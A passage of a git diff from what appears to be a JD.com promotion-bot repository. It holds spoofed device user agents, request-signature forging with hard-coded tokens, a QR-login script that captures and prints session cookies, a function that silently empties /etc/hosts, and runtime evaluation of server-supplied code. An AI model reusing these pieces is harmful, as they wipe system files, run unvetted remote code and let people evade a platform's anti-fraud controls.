MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +function TotalBean(cookie: string) { + return { + cookie: cookie, + isLogin: true, + nickName: '' + } +} + +function getRandomNumberByRange(start: number, end: number) { + return Math.floor(Math.random() * (end - start) + start) +} + +let USER_AGENT = USER_AGENTS[getRandomNumberByRange(0, USER_AGENTS.length)] + +async function getBeanShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action', + `functionId=plantBeanIndex&body=${escape( + JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return '' +} + +async function getFarmShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${escape(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + + if (data.farmUserPro) + return data.farmUserPro.shareCode + else + return '' +} + +function requireConfig() { + let cookiesArr: string[] = [] + return new Promise(resolve => { + console.log('开始获取配置文件\n') + const jdCookieNode = require('./jdCookie.js') + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve(cookiesArr) + }) +} + +function wait(timeout: number) { + return new Promise(resolve => { + setTimeout(resolve, timeout) + }) +} + +async function requestAlgo(appId: number | string = 10032) { + fingerprint = generateFp() + return new Promise(async resolve => { + let {data}: any = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk + console.log('token:', token) + let enCryptMethodJDString = data.data.result.algo + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)() + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function generateFp() { + let e = "0123456789" + let a = 13 + let i = '' + for (; a--;) + i += e[Math.random() * e.length | 0] + return (i + Date.now()).slice(0, 16) +} + +function getQueryString(url: string, name: string) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + let r = url.split('?')[1].match(reg) + if (r != null) return unescape(r[2]) + return '' +} + +function decrypt(stk: string, url: string, appId: number) { + const timestamp = (format(new Date(), 'yyyyMMddhhmmssSSS')) + let hash1: string + if (fingerprint && token && enCryptMethodJD) { + hash1 = enCryptMethodJD(token, fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex) + } else { + const random = '5gkjB6SpmC9s' + token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc` + fingerprint = 9686767825751161 + const str = `${token}${fingerprint}${timestamp}${appId}${random}` + hash1 = CryptoJS.SHA512(str, token).toString(CryptoJS.enc.Hex) + } + let st: string = '' + stk.split(',').map((item, index) => { + st += `${item}:${getQueryString(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}` + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat(appId.toString()), "".concat(token), "".concat(hash2)].join(";")) +} + +function h5st(url: string, stk: string, params: object, appId: number = 10032) { + for (const [key, val] of Object.entries(params)) { + url += `&${key}=${val}` + } + url += '&h5st=' + decrypt(stk, url, appId) + return url +} + +function getJxToken(cookie: string) { + function generateStr(input: number) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890' + let res = '' + for (let i = 0; i < input; i++) { + res += src[Math.floor(src.length * Math.random())] + } + return res + } + + let phoneId = generateStr(40) + let timestamp = Date.now().toString() + let nickname = cookie.match(/pt_pin=([^;]*)/)![1] + let jstoken = Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy') + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': jstoken + } +} + +function exceptCookie(filename: string = 'x.ts') { + let except: string[] + try { + accessSync('./utils/exceptCookie.json') + except = JSON.parse(readFileSync('./utils/exceptCookie.json').toString() || '{}')[filename] || [] + } catch (e: any) { + except = [] + } + console.log('except:', except) + return except +} + +function randomString(e: number, word?: number) { + e = e || 32 + let t = word === 26 ? "012345678abcdefghijklmnopqrstuvwxyz" : "0123456789abcdef", a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function resetHosts() { + try { + writeFileSync('/etc/hosts', '') + } catch (e) { + } +} + +function o2s(arr: object) { + console.log(JSON.stringify(arr)) +} + +function randomNumString(e: number) { + e = e || 32 + let t = '0123456789', a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +async function getshareCodeHW(key: string) { + try { + let {data}: any = await axios.get('https://api.jdsharecode.xyz/api/HW_CODES') + return data[key] || [] + } catch (e) { + return [] + } +} + +export default USER_AGENT +export { + TotalBean, + getBeanShareCode, + getFarmShareCode, + requireConfig, + wait, + getRandomNumberByRange, + requestAlgo, + decrypt, + getJxToken, + h5st, + exceptCookie, + randomString, + resetHosts, + o2s, + randomNumString, + getshareCodeHW +} diff --git a/USER_AGENTS.js b/USER_AGENTS.js new file mode 100644 index 0000000000..fc888edf2d --- /dev/null +++ b/USER_AGENTS.js @@ -0,0 +1,53 @@ +const USER_AGENTS = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} + +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT, +} diff --git a/backUp/getCookie.ts b/backUp/getCookie.ts new file mode 100644 index 0000000000..7e7f48e614 --- /dev/null +++ b/backUp/getCookie.ts @@ -0,0 +1,83 @@ +/** + * 推送CK,默认否 + * export PUSH_COOKIE=true + */ +import axios from 'axios' +import {wait} from "../TS_USER_AGENTS"; + +const qrcode = require('qrcode-terminal') +const notify = require('./sendNotify') +const USER_AGENT = 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5 UCBrowser/13.4.2.1122' +let PUSH_COOKIE = process.env.PUSH_COOKIE ?? "false" + +!(async () => { + let config: any = { + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport', + 'User-Agent': USER_AGENT, + 'Host': 'plogin.m.jd.com' + } + } + let {headers, data} = await axios.get(`https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, config) + let s_token: string = data['s_token'] + let setCookie: string = '' + for (let h of headers['set-cookie']) + setCookie += h + ';' + let guid: string = setCookie.match(/guid=([^;]*)/)![1] + let lsid: string = setCookie.match(/lsid=([^;]*)/)![1] + let lstoken: string = setCookie.match(/lstoken=([^;]*)/)![1] + let cookies: string = `guid=${guid};lang=chs;lsid=${lsid};lstoken=${lstoken};` + config.headers.cookie = cookies + + let body = {'lang': 'chs', 'appid': '300', 'returnurl': `https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, 'source': 'wq_passport',} + let res: any = await axios.post(`https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=${s_token}&v=${Date.now()}&remember=true`, + encodeURIComponent(JSON.stringify(body)), + config + ).then(res => { + return res + }) + let token: string = res.data.token; + let okl_token: string = res.headers['set-cookie'][0].match(/okl_token=([^;]*)/)![1] + let url: string = `https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=${token}` + console.log(url) + qrcode.generate(url, {small: true}) + + while (1) { + res = await axios.post(`https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=${token}&ou_state=0&okl_token=${okl_token}`, `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, { + headers: { + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': USER_AGENT + } + }).then(res => { + return res + }) + + console.log(JSON.stringify(res.data)) + let code: number = res.data.errcode; + if (code === 0) { + console.log('Cookie获取成功\n') + for (let h of res.headers['set-cookie']) + setCookie += h + ';' + cookies = setCookie.match(/(pt_key=\S*)/)![1] + setCookie.match(/(pt_pin=\S*)/)![1] + console.log(cookies) + console.log('\n哪个死妈东西说扫了此脚本被偷ck的?100行不到的代码你告诉我哪里是泄漏你ck的?') + if (PUSH_COOKIE === "true") + await notify.sendNotify('Cookie', cookies + '\n\n哪个死妈东西说扫了此脚本被偷ck的?100行不到的代码你告诉我哪里是泄漏你ck的?', '', '\n\n你好,世界!') + break + } else if (code === 21) { + console.log('二维码失效') + break + } else if (code === 176) { + } else { + console.log('Error:', JSON.stringify(res.data)) + break + } + await wait(1000) + } +})() \ No newline at end of file diff --git a/backUp/jdEnv.py b/backUp/jdEnv.py new file mode 100644 index 0000000000..7cb318a35b --- /dev/null +++ b/backUp/jdEnv.py @@ -0,0 +1,67 @@ +import os +import random +import re + + +def env(key): + return os.environ.get(key) + + +# 宠汪汪 +JD_JOY_REWARD_NAME = 500 # 默认500 +if env("JD_JOY_REWARD_NAME"): + JD_JOY_REWARD_NAME = int(env("JD_JOY_REWARD_NAME")) + +# Cookie +cookies = [] +if env("JD_COOKIE"): + cookies.extend(env("JD_COOKIE").split('&')) + +# UA +USER_AGENTS = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + 